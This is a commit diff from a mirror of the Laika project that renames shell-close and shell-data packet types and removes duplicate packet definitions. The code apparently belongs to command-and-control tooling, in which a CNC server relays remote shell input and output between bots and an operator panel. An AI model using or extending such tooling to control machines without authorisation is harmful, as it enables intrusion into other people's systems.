1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 12:40:04 +00:00

Removed redundant packets

This commit is contained in:
CPunch 2022-03-28 20:28:39 -05:00
parent bec7de9ce5
commit 4594e6194b
4 changed files with 11 additions and 19 deletions

View File

@ -64,7 +64,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!");
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
@ -82,7 +82,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
laikaS_read(&peer->sock, (void*)buf, sz);
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_DATA);
laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA);
laikaS_write(&bInfo->shellAuth->sock, buf, sz);
laikaS_endVarPacket(bInfo->shellAuth);
}
@ -164,11 +164,11 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
laikaC_handleAuthenticatedShellOpen,
crypto_kx_PUBLICKEYBYTES + sizeof(uint16_t) + sizeof(uint16_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
laikaC_handleAuthenticatedShellClose,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleAuthenticatedShellData,
0,
true),

View File

@ -50,7 +50,7 @@ void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) {
void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) {
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;

View File

@ -115,14 +115,6 @@ enum {
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, /* peer requesting close their currently opened shell (accepted by both cnc & panel) */
/* layout of LAIKAPKT_AUTHENTICATED_SHELL_CLOSE_REQ:
* NULL (empty packet)
*/
LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA
* char buf[VAR_PACKET_LENGTH];
*/
LAIKAPKT_MAXNONE
};

View File

@ -93,7 +93,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* sanity check */
if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n");
laikaS_read(&peer->sock, buf, sz);
shellT_writeRawOutput(buf, sz);
@ -104,7 +104,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
/* sanity check */
if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n");
/* close shell */
shellC_closeShell(client);
@ -125,11 +125,11 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
shellC_handleRmvPeer,
crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
shellC_handleShellClose,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData,
0,
true),
@ -326,7 +326,7 @@ void shellC_closeShell(tShell_client *client) {
return;
/* send SHELL_CLOSE request */
laikaS_emptyOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
laikaS_emptyOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
client->openShell = NULL;
}
@ -335,7 +335,7 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
if (!shellC_isShellOpen(client))
return;
laikaS_startVarPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_DATA);
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&client->peer->sock, data, sz);
laikaS_endVarPacket(client->peer);
}